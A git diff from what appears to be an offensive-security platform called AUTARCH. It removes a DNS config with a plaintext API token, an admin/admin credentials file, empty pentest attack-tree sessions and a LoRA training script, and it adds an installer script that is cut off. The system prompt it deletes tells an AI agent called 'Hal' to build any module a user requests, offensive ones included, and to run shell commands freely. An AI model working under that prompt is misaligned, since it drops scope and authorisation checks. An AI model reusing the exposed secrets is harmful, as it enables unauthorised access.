XLq4WdHBeimwWIuZl+pKKvXcQUHUkK4epJFrt6mj0onExNSDNI4i7Xk+XnMVIu35
VrF6IhLrD2AznQyOqY0WeLGmoXe3FT5caUiTm5Kg28xTJC9m7hDOFE34d0Aqb+U1
U4GFlmXor+MdNKYTEJJy3pslxEZOiRNiiLKWjecYrcKfSk0LY/8TkqVB44pZBQZB
6naQfFuuxDtEa6bHM0q+P/6HM35tpEu6TEJ1eU/yRrejhySFIHfKTjy/WXsm
-----END CERTIFICATE-----

View File

@ -1,10 +0,0 @@
{
"listen_dns": "10.0.0.56:53",
"listen_api": "127.0.0.1:5380",
"api_token": "5ed79350fed2490d2aca6f3b29776365",
"upstream": [],
"cache_ttl": 300,
"zones_dir": "C:\\she\\autarch\\data\\dns\\zones",
"dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys",
"log_queries": true
}

View File

@ -1,53 +0,0 @@
{
"domain": "autarch.local",
"soa": {
"primary_ns": "ns1.autarch.local",
"admin_email": "admin.autarch.local",
"serial": 1772537115,
"refresh": 3600,
"retry": 600,
"expire": 86400,
"min_ttl": 300
},
"records": [
{
"id": "ns1",
"type": "NS",
"name": "autarch.local.",
"value": "ns1.autarch.local.",
"ttl": 3600
},
{
"id": "mx1",
"type": "MX",
"name": "autarch.local.",
"value": "mx.autarch.local.",
"ttl": 3600,
"priority": 10
},
{
"id": "spf1",
"type": "TXT",
"name": "autarch.local.",
"value": "v=spf1 ip4:127.0.0.1 -all",
"ttl": 3600
},
{
"id": "dmarc1",
"type": "TXT",
"name": "_dmarc.autarch.local.",
"value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local",
"ttl": 3600
},
{
"id": "r1772537722879235900",
"type": "A",
"name": "https://autarch.local",
"value": "10.0.0.56:8181",
"ttl": 300
}
],
"dnssec": true,
"created_at": "2026-03-03T11:25:07Z",
"updated_at": "2026-03-03T12:24:00Z"
}

View File

@ -1,2 +0,0 @@
Site,URL,Category,Status,Confidence
GitHub,https://github.com/test,,good,85
1 Site URL Category Status Confidence
2 GitHub https://github.com/test good 85

View File

@ -1,13 +0,0 @@
{
"query": "testuser",
"exported": "2026-02-14T04:18:34.669640",
"total_results": 1,
"results": [
{
"name": "GitHub",
"url": "https://github.com/test",
"status": "good",
"rate": 85
}
]
}

View File

@ -1,98 +0,0 @@
You are Hal, the AI agent powering Project AUTARCH — an autonomous security platform built by darkHal Security Group.
## Your Capabilities
You can read files, write files, execute shell commands, search the codebase, and create new AUTARCH modules on demand. When a user asks you to build a tool or module, you build it.
## AUTARCH Codebase Structure
- `modules/` — Plugin modules (Python files). Each one is a standalone tool.
- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py, etc.)
- `web/` — Flask web dashboard (routes/, templates/, static/)
- `data/` — Databases, configs, JSON files
- `models/` — LLM model files (GGUF)
## Module Categories
| Category | Color | Purpose |
|----------|-------|---------|
| defense | Blue | Security hardening, monitoring, firewalls |
| offense | Red | Penetration testing, exploitation |
| counter | Purple | Counter-intelligence, threat response |
| analyze | Cyan | Analysis, forensics, packet inspection |
| osint | Green | Open source intelligence gathering |
| simulate | Yellow | Attack simulation, red team exercises |
## How to Create a Module
Every module in `modules/` MUST have these attributes and a `run()` function:
```python
"""
Module description docstring
"""
import os
import sys
import subprocess
from pathlib import Path
# Module metadata — REQUIRED
DESCRIPTION = "What this module does"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "defense" # One of: defense, offense, counter, analyze, osint, simulate
sys.path.insert(0, str(Path(__file__).parent.parent))
from core.banner import Colors, clear_screen, display_banner
class ModuleClassName:
"""Main class for this module."""
def print_status(self, message, status="info"):
colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED}
symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"}
print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}")
def run_cmd(self, cmd, timeout=30):
try:
r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)
return r.returncode == 0, r.stdout.strip()
except Exception as e:
return False, str(e)
# Add your methods here...
def run():
"""Entry point for CLI mode."""
mod = ModuleClassName()
# Interactive menu or direct execution
```
## Important Rules
1. Use the `create_module` tool to write modules — it validates and saves them automatically
2. Always include the metadata: DESCRIPTION, AUTHOR, VERSION, CATEGORY
3. Always include a `run()` function
4. Use `subprocess.run()` for system commands — support both Windows (PowerShell/netsh) and Linux (bash)
5. Import from `core.banner` for Colors
6. Module filenames should be lowercase with underscores (e.g., `port_scanner.py`)
7. Study existing modules with `read_file` if you need to understand patterns
8. The web dashboard discovers modules automatically from the `modules/` directory
## Platform
This system runs on Windows. Use PowerShell commands where appropriate, but also support Linux fallbacks.
## Existing Modules (for reference)
- defender.py — System hardening checks (CATEGORY: defense)
- defender_windows.py — Windows-native security checks (CATEGORY: defense)
- defender_monitor.py — Real-time threat monitoring (CATEGORY: defense)
- recon.py — Network reconnaissance (CATEGORY: offense)
- counter.py — Counter-intelligence tools (CATEGORY: counter)
- adultscan.py — Adult content scanner (CATEGORY: analyze)
- agent_hal.py — AI security automation (CATEGORY: core)
- wireshark.py — Packet analysis (CATEGORY: analyze)
- hardware_local.py — Hardware interaction (CATEGORY: hardware)
## How You Should Respond
- For simple questions: answer directly
- For module creation requests: use the create_module tool
- For system queries: use the shell tool
- For code exploration: use read_file and search_files
- Always explain what you're doing and why

View File

@ -1,129 +0,0 @@
{
"session_id": "10_0_0_56_20260214_010220",
"target": "10.0.0.56",
"state": "completed",
"created_at": "2026-02-14T01:02:20.746609",
"updated_at": "2026-02-14T01:12:20.951316",
"notes": "",
"step_count": 0,
"tree": {
"target": "10.0.0.56",
"created_at": "2026-02-14T01:02:20.746597",
"updated_at": "2026-02-14T01:02:20.746742",
"root_nodes": [
"e0d00dbc",
"cf120ead",
"6f4a664c",
"814f0376",
"5b602881",
"4d2e70e8"
],
"nodes": {
"e0d00dbc": {
"id": "e0d00dbc",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-02-14T01:02:20.746668",
"updated_at": "2026-02-14T01:02:20.746668"
},
"cf120ead": {
"id": "cf120ead",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-02-14T01:02:20.746685",
"updated_at": "2026-02-14T01:02:20.746685"
},
"6f4a664c": {
"id": "6f4a664c",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-02-14T01:02:20.746699",
"updated_at": "2026-02-14T01:02:20.746699"
},
"814f0376": {
"id": "814f0376",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-02-14T01:02:20.746711",
"updated_at": "2026-02-14T01:02:20.746711"
},
"5b602881": {
"id": "5b602881",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-02-14T01:02:20.746726",
"updated_at": "2026-02-14T01:02:20.746726"
},
"4d2e70e8": {
"id": "4d2e70e8",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-02-14T01:02:20.746739",
"updated_at": "2026-02-14T01:02:20.746739"
}
}
},
"events": [
{
"timestamp": "2026-02-14T01:02:20.746747",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
},
{
"timestamp": "2026-02-14T01:12:20.951316",
"event_type": "state_change",
"data": {
"from": "running",
"to": "completed",
"summary": ""
}
}
],
"findings": [],
"pipeline_history": []
}

View File

@ -1,120 +0,0 @@
{
"session_id": "192_168_1_100_20260127_202421",
"target": "192.168.1.100",
"state": "running",
"created_at": "2026-01-27T20:24:21.604010",
"updated_at": "2026-01-27T20:24:21.604098",
"notes": "",
"step_count": 0,
"tree": {
"target": "192.168.1.100",
"created_at": "2026-01-27T20:24:21.604003",
"updated_at": "2026-01-27T20:24:21.604091",
"root_nodes": [
"4be13ed9",
"8dc38740",
"22ee2768",
"2c45477f",
"6f793ae8",
"778fc896"
],
"nodes": {
"4be13ed9": {
"id": "4be13ed9",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-01-27T20:24:21.604032",
"updated_at": "2026-01-27T20:24:21.604032"
},
"8dc38740": {
"id": "8dc38740",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-01-27T20:24:21.604044",
"updated_at": "2026-01-27T20:24:21.604044"
},
"22ee2768": {
"id": "22ee2768",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-27T20:24:21.604056",
"updated_at": "2026-01-27T20:24:21.604056"
},
"2c45477f": {
"id": "2c45477f",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-01-27T20:24:21.604066",
"updated_at": "2026-01-27T20:24:21.604066"
},
"6f793ae8": {
"id": "6f793ae8",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-27T20:24:21.604077",
"updated_at": "2026-01-27T20:24:21.604077"
},
"778fc896": {
"id": "778fc896",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-01-27T20:24:21.604088",
"updated_at": "2026-01-27T20:24:21.604088"
}
}
},
"events": [
{
"timestamp": "2026-01-27T20:24:21.604098",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
}
],
"findings": [],
"pipeline_history": []
}

View File

@ -1,120 +0,0 @@
{
"session_id": "192_168_50_78_20260130_133833",
"target": "192.168.50.78",
"state": "running",
"created_at": "2026-01-30T13:38:33.830336",
"updated_at": "2026-01-30T13:38:33.830464",
"notes": "",
"step_count": 0,
"tree": {
"target": "192.168.50.78",
"created_at": "2026-01-30T13:38:33.830323",
"updated_at": "2026-01-30T13:38:33.830460",
"root_nodes": [
"e4c40c28",
"ddd63828",
"b3f2634d",
"9c162c78",
"aa40d5a3",
"0c50a23d"
],
"nodes": {
"e4c40c28": {
"id": "e4c40c28",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-01-30T13:38:33.830390",
"updated_at": "2026-01-30T13:38:33.830390"
},
"ddd63828": {
"id": "ddd63828",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-01-30T13:38:33.830408",
"updated_at": "2026-01-30T13:38:33.830408"
},
"b3f2634d": {
"id": "b3f2634d",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-30T13:38:33.830421",
"updated_at": "2026-01-30T13:38:33.830421"
},
"9c162c78": {
"id": "9c162c78",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-01-30T13:38:33.830433",
"updated_at": "2026-01-30T13:38:33.830433"
},
"aa40d5a3": {
"id": "aa40d5a3",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-30T13:38:33.830445",
"updated_at": "2026-01-30T13:38:33.830445"
},
"0c50a23d": {
"id": "0c50a23d",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-01-30T13:38:33.830457",
"updated_at": "2026-01-30T13:38:33.830457"
}
}
},
"events": [
{
"timestamp": "2026-01-30T13:38:33.830464",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
}
],
"findings": [],
"pipeline_history": []
}

View File

@ -1,120 +0,0 @@
{
"session_id": "example_com_20260128_192244",
"target": "example.com",
"state": "running",
"created_at": "2026-01-28T19:22:44.670292",
"updated_at": "2026-01-28T19:22:44.670428",
"notes": "test",
"step_count": 0,
"tree": {
"target": "example.com",
"created_at": "2026-01-28T19:22:44.670279",
"updated_at": "2026-01-28T19:22:44.670423",
"root_nodes": [
"466dcf04",
"55991daa",
"e3209082",
"af036f87",
"633c0eeb",
"8584f7fc"
],
"nodes": {
"466dcf04": {
"id": "466dcf04",
"label": "Reconnaissance",
"node_type": "reconnaissance",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Information gathering and target enumeration",
"tool_output": null,
"findings": [],
"priority": 1,
"created_at": "2026-01-28T19:22:44.670353",
"updated_at": "2026-01-28T19:22:44.670353"
},
"55991daa": {
"id": "55991daa",
"label": "Initial Access",
"node_type": "initial_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Gaining initial foothold on target",
"tool_output": null,
"findings": [],
"priority": 2,
"created_at": "2026-01-28T19:22:44.670371",
"updated_at": "2026-01-28T19:22:44.670371"
},
"e3209082": {
"id": "e3209082",
"label": "Privilege Escalation",
"node_type": "privilege_escalation",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Escalating from initial access to higher privileges",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-28T19:22:44.670384",
"updated_at": "2026-01-28T19:22:44.670384"
},
"af036f87": {
"id": "af036f87",
"label": "Lateral Movement",
"node_type": "lateral_movement",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Moving to other systems in the network",
"tool_output": null,
"findings": [],
"priority": 4,
"created_at": "2026-01-28T19:22:44.670397",
"updated_at": "2026-01-28T19:22:44.670397"
},
"633c0eeb": {
"id": "633c0eeb",
"label": "Credential Access",
"node_type": "credential_access",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Obtaining credentials and secrets",
"tool_output": null,
"findings": [],
"priority": 3,
"created_at": "2026-01-28T19:22:44.670408",
"updated_at": "2026-01-28T19:22:44.670408"
},
"8584f7fc": {
"id": "8584f7fc",
"label": "Persistence",
"node_type": "persistence",
"status": "todo",
"parent_id": null,
"children": [],
"details": "Maintaining access to compromised systems",
"tool_output": null,
"findings": [],
"priority": 5,
"created_at": "2026-01-28T19:22:44.670420",
"updated_at": "2026-01-28T19:22:44.670420"
}
}
},
"events": [
{
"timestamp": "2026-01-28T19:22:44.670428",
"event_type": "state_change",
"data": {
"from": "idle",
"to": "running"
}
}
],
"findings": [],
"pipeline_history": []
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,97 +0,0 @@
#!/usr/bin/env python3
"""AUTARCH LoRA Training Script (Transformers + PEFT)"""
import json
import torch
from datasets import Dataset
from transformers import (
AutoModelForCausalLM, AutoTokenizer, TrainingArguments,
BitsAndBytesConfig,
)
from peft import LoraConfig, get_peft_model, prepare_model_for_kbit_training
from trl import SFTTrainer
# Quantization config
bnb_config = BitsAndBytesConfig(
load_in_4bit=True,
bnb_4bit_quant_type="nf4",
bnb_4bit_compute_dtype=torch.float16,
bnb_4bit_use_double_quant=True,
) if True else None
print("Loading base model: models/Hal_v2.gguf")
model = AutoModelForCausalLM.from_pretrained(
"models/Hal_v2.gguf",
quantization_config=bnb_config,
device_map="auto",
trust_remote_code=False,
)
tokenizer = AutoTokenizer.from_pretrained("models/Hal_v2.gguf", trust_remote_code=False)
if tokenizer.pad_token is None:
tokenizer.pad_token = tokenizer.eos_token
if True:
model = prepare_model_for_kbit_training(model)
# LoRA config
lora_config = LoraConfig(
r=16,
lora_alpha=32,
lora_dropout=0.05,
target_modules=["q_proj", "k_proj", "v_proj", "o_proj",
"gate_proj", "up_proj", "down_proj"],
bias="none",
task_type="CAUSAL_LM",
)
model = get_peft_model(model, lora_config)
model.print_trainable_parameters()
# Load dataset
samples = []
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
for line in f:
samples.append(json.loads(line))
def format_sample(sample):
if "conversations" in sample:
msgs = sample["conversations"]
text = ""
for msg in msgs:
role = "user" if msg["from"] == "human" else "assistant"
text += f"<|im_start|>{role}\n{msg['value']}<|im_end|>\n"
return {"text": text}
else:
return {"text": f"<|im_start|>user\n{sample['instruction']}\n{sample.get('input','')}<|im_end|>\n<|im_start|>assistant\n{sample['output']}<|im_end|>\n"}
dataset = Dataset.from_list([format_sample(s) for s in samples])
print(f"Dataset: {len(dataset)} samples")
# Train
trainer = SFTTrainer(
model=model,
tokenizer=tokenizer,
train_dataset=dataset,
dataset_text_field="text",
max_seq_length=2048,
args=TrainingArguments(
output_dir="C:\she\autarch\data\training\output",
num_train_epochs=3,
per_device_train_batch_size=4,
gradient_accumulation_steps=4,
learning_rate=0.0002,
warmup_ratio=0.03,
save_steps=50,
logging_steps=10,
fp16=True,
optim="adamw_8bit",
report_to="none",
),
)
print("Starting training...")
trainer.train()
print("Training complete!")
# Save
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")

View File

@ -1,14 +0,0 @@
C:\she\autarch\data\training\train_lora.py:50: SyntaxWarning: invalid escape sequence '\s'
with open("C:\she\autarch\data\training\autarch_dataset_20260302_202634.jsonl", "r") as f:
C:\she\autarch\data\training\train_lora.py:76: SyntaxWarning: invalid escape sequence '\s'
output_dir="C:\she\autarch\data\training\output",
C:\she\autarch\data\training\train_lora.py:95: SyntaxWarning: invalid escape sequence '\s'
model.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
C:\she\autarch\data\training\train_lora.py:96: SyntaxWarning: invalid escape sequence '\s'
tokenizer.save_pretrained("C:\she\autarch\data\training\output/lora_adapter")
C:\she\autarch\data\training\train_lora.py:97: SyntaxWarning: invalid escape sequence '\s'
print(f"LoRA adapter saved to C:\she\autarch\data\training\output/lora_adapter")
Traceback (most recent call last):
File "C:\she\autarch\data\training\train_lora.py", line 5, in <module>
from datasets import Dataset
ModuleNotFoundError: No module named 'datasets'

View File

@ -1,5 +0,0 @@
{
"username": "admin",
"password": "admin",
"force_change": true
}

586
docs/install.sh Normal file
View File

@ -0,0 +1,586 @@
#!/bin/bash
# ╔══════════════════════════════════════════════════════════════════╗
# ║ AUTARCH Installer ║
# ║ Autonomous Tactical Agent for Reconnaissance, ║
# ║ Counterintelligence, and Hacking ║
# ║ By darkHal Security Group & Setec Security Labs ║
# ╚══════════════════════════════════════════════════════════════════╝
set -e
# ── Colors & Symbols ─────────────────────────────────────────────────
R='\033[91m'; G='\033[92m'; Y='\033[93m'; B='\033[94m'; M='\033[95m'
C='\033[96m'; W='\033[97m'; D='\033[2m'; BLD='\033[1m'; RST='\033[0m'
CHK="${G}${RST}"; CROSS="${R}${RST}"; DOT="${C}${RST}"; ARROW="${M}${RST}"
WARN="${Y}${RST}"
# ── Paths ────────────────────────────────────────────────────────────
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
VENV_DIR="$SCRIPT_DIR/venv"
REQ_FILE="$SCRIPT_DIR/requirements.txt"
# ── State ────────────────────────────────────────────────────────────
INSTALL_LLM_LOCAL=false
INSTALL_LLM_CLOUD=false
INSTALL_LLM_HF=false
INSTALL_SYSTEM_TOOLS=false
INSTALL_NODE_HW=false
GPU_TYPE="none"
TOTAL_STEPS=0
CURRENT_STEP=0
# ── Helper Functions ─────────────────────────────────────────────────
clear_screen() { printf '\033[2J\033[H'; }
# Draw a horizontal rule
hr() {
local char="${1:-}"
printf "${D}"
printf '%*s' 66 '' | tr ' ' "$char"
printf "${RST}\n"
}
# Print a styled header
header() {
printf "\n${BLD}${C} $1${RST}\n"
hr
}
# Print a status line
status() { printf " ${DOT} $1\n"; }
ok() { printf " ${CHK} $1\n"; }
fail() { printf " ${CROSS} $1\n"; }
warn() { printf " ${WARN} $1\n"; }
info() { printf " ${ARROW} $1\n"; }
# Progress bar
progress_bar() {
local pct=$1
local width=40
local filled=$(( pct * width / 100 ))
local empty=$(( width - filled ))
printf "\r ${D}[${RST}${G}"
printf '%*s' "$filled" '' | tr ' ' '█'
printf "${D}"
printf '%*s' "$empty" '' | tr ' ' '░'
printf "${RST}${D}]${RST} ${W}%3d%%${RST}" "$pct"
}
step_progress() {
CURRENT_STEP=$((CURRENT_STEP + 1))
local pct=$((CURRENT_STEP * 100 / TOTAL_STEPS))
progress_bar "$pct"
printf " ${D}$1${RST}\n"
}
# Detect OS
detect_os() {
case "$(uname -s)" in
Linux*) OS="linux" ;;
Darwin*) OS="macos" ;;
MINGW*|MSYS*|CYGWIN*) OS="windows" ;;
*) OS="unknown" ;;
esac
}
# Check if command exists
has() { command -v "$1" &>/dev/null; }
# ── Banner ───────────────────────────────────────────────────────────
show_banner() {
clear_screen
printf "${R}${BLD}"
cat << 'BANNER'
▄▄▄ █ ██ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄████▄ ██░ ██
▒████▄ ██ ▓██▒▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▒██▀ ▀█ ▓██░ ██▒
▒██ ▀█▄ ▓██ ▒██░▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒▓█ ▄ ▒██▀▀██░
░██▄▄▄▄██ ▓▓█ ░██░░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ▒▓▓▄ ▄██▒░▓█ ░██
▓█ ▓██▒▒▒█████▓ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒▒ ▓███▀ ░░▓█▒░██▓
▒▒ ▓▒█░░▒▓▒ ▒ ▒ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ░▒ ▒ ░ ▒ ░░▒░▒
▒ ▒▒ ░░░▒░ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ▒ ▒ ░▒░ ░
░ ▒ ░░░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
BANNER
printf "${RST}"
printf "${C}${BLD} ╔══════════════════════════════════╗${RST}\n"
printf "${C}${BLD} ║ I N S T A L L E R v1.0 ║${RST}\n"
printf "${C}${BLD} ╚══════════════════════════════════╝${RST}\n"
printf "${D} By darkHal Security Group & Setec Security Labs${RST}\n\n"
}
# ── System Check ─────────────────────────────────────────────────────
show_system_check() {
header "SYSTEM CHECK"
detect_os
case "$OS" in
linux) ok "OS: Linux ($(. /etc/os-release 2>/dev/null && echo "$PRETTY_NAME" || uname -r))" ;;
macos) ok "OS: macOS $(sw_vers -productVersion 2>/dev/null)" ;;
windows) ok "OS: Windows (MSYS2/Git Bash)" ;;
*) warn "OS: Unknown ($(uname -s))" ;;
esac
# Python
if has python3; then
local pyver=$(python3 --version 2>&1 | awk '{print $2}')
local pymajor=$(echo "$pyver" | cut -d. -f1)
local pyminor=$(echo "$pyver" | cut -d. -f2)
if [ "$pymajor" -ge 3 ] && [ "$pyminor" -ge 10 ]; then
ok "Python $pyver"
else
warn "Python $pyver ${D}(3.10+ recommended)${RST}"
fi
elif has python; then
local pyver=$(python --version 2>&1 | awk '{print $2}')
ok "Python $pyver ${D}(using 'python' command)${RST}"
else
fail "Python not found — install Python 3.10+"
exit 1
fi
# pip
if has pip3 || has pip; then
ok "pip available"
else
fail "pip not found"
exit 1
fi
# Git
if has git; then
ok "Git $(git --version | awk '{print $3}')"
else
warn "Git not found ${D}(optional)${RST}"
fi
# Node/npm
if has node && has npm; then
ok "Node $(node --version) / npm $(npm --version 2>/dev/null)"
else
warn "Node.js not found ${D}(needed for hardware WebUSB libs)${RST}"
fi
# System tools
local tools=("nmap" "tshark" "openssl" "adb" "fastboot" "wg" "upnpc")
local found=()
local missing=()
for t in "${tools[@]}"; do
if has "$t"; then
found+=("$t")
else
missing+=("$t")
fi
done
if [ ${#found[@]} -gt 0 ]; then
ok "System tools: ${G}${found[*]}${RST}"
fi
if [ ${#missing[@]} -gt 0 ]; then
info "Not found: ${D}${missing[*]}${RST} ${D}(optional)${RST}"
fi
# GPU detection
if has nvidia-smi; then
local gpu_name=$(nvidia-smi --query-gpu=name --format=csv,noheader 2>/dev/null | head -1)
ok "GPU: ${G}$gpu_name${RST} (CUDA)"
GPU_TYPE="cuda"
elif has rocm-smi; then
ok "GPU: AMD ROCm detected"
GPU_TYPE="rocm"
elif [ -d "/opt/intel" ] || has xpu-smi; then
ok "GPU: Intel XPU detected"
GPU_TYPE="intel"
elif [ "$OS" = "macos" ]; then
ok "GPU: Apple Metal (auto via llama-cpp)"
GPU_TYPE="metal"
else
info "No GPU detected ${D}(CPU-only mode)${RST}"
fi
echo
}
# ── Interactive Menu ─────────────────────────────────────────────────
show_menu() {
header "INSTALL OPTIONS"
echo
printf " ${BLD}${W}What would you like to install?${RST}\n\n"
printf " ${BLD}${C}[1]${RST} ${W}Core only${RST} ${D}Flask, OSINT, networking, analysis${RST}\n"
printf " ${BLD}${C}[2]${RST} ${W}Core + Local LLM${RST} ${D}+ llama-cpp-python (GGUF models)${RST}\n"
printf " ${BLD}${C}[3]${RST} ${W}Core + Cloud LLM${RST} ${D}+ anthropic SDK (Claude API)${RST}\n"
printf " ${BLD}${C}[4]${RST} ${W}Core + HuggingFace${RST} ${D}+ transformers, torch, accelerate${RST}\n"
printf " ${BLD}${C}[5]${RST} ${W}Full install${RST} ${D}All of the above${RST}\n"
echo
printf " ${BLD}${Y}[S]${RST} ${W}System tools${RST} ${D}nmap, tshark, openssl, adb (Linux only)${RST}\n"
printf " ${BLD}${Y}[H]${RST} ${W}Hardware libs${RST} ${D}Build WebUSB/Serial JS bundles (needs npm)${RST}\n"
echo
printf " ${BLD}${R}[Q]${RST} ${W}Quit${RST}\n"
echo
hr
printf " ${BLD}Choice: ${RST}"
read -r choice
case "$choice" in
1) ;;
2) INSTALL_LLM_LOCAL=true ;;
3) INSTALL_LLM_CLOUD=true ;;
4) INSTALL_LLM_HF=true ;;
5) INSTALL_LLM_LOCAL=true; INSTALL_LLM_CLOUD=true; INSTALL_LLM_HF=true ;;
s|S) INSTALL_SYSTEM_TOOLS=true ;;
h|H) INSTALL_NODE_HW=true ;;
q|Q) printf "\n ${D}Bye.${RST}\n\n"; exit 0 ;;
*) warn "Invalid choice"; show_menu; return ;;
esac
# Extras prompt (only for options 1-5)
if [[ "$choice" =~ ^[1-5]$ ]]; then
echo
printf " ${D}Also install system tools? (nmap, tshark, etc.) [y/N]:${RST} "
read -r yn
[[ "$yn" =~ ^[Yy] ]] && INSTALL_SYSTEM_TOOLS=true
printf " ${D}Also build hardware JS bundles? (needs npm) [y/N]:${RST} "
read -r yn
[[ "$yn" =~ ^[Yy] ]] && INSTALL_NODE_HW=true
fi
}
# ── Install Functions ────────────────────────────────────────────────
get_pip() {
if has pip3; then echo "pip3"
elif has pip; then echo "pip"
fi
}
get_python() {
if has python3; then echo "python3"
elif has python; then echo "python"
fi
}
create_venv() {
header "VIRTUAL ENVIRONMENT"
if [ -d "$VENV_DIR" ]; then
ok "venv already exists at ${D}$VENV_DIR${RST}"
else
status "Creating virtual environment..."
$(get_python) -m venv "$VENV_DIR"
ok "Created venv at ${D}$VENV_DIR${RST}"
fi
# Activate
if [ "$OS" = "windows" ]; then
source "$VENV_DIR/Scripts/activate" 2>/dev/null || source "$VENV_DIR/bin/activate"
else
source "$VENV_DIR/bin/activate"
fi
ok "Activated venv ${D}($(which python))${RST}"
echo
}
install_core() {
header "CORE DEPENDENCIES"
step_progress "Upgrading pip..."
$(get_python) -m pip install --upgrade pip setuptools wheel -q 2>&1 | tail -1
step_progress "Installing core packages..."
# Install from requirements.txt but skip optional LLM lines
# Core packages: flask, bcrypt, requests, msgpack, pyserial, esptool, pyshark, qrcode, Pillow
local core_pkgs=(
"flask>=3.0"
"bcrypt>=4.0"
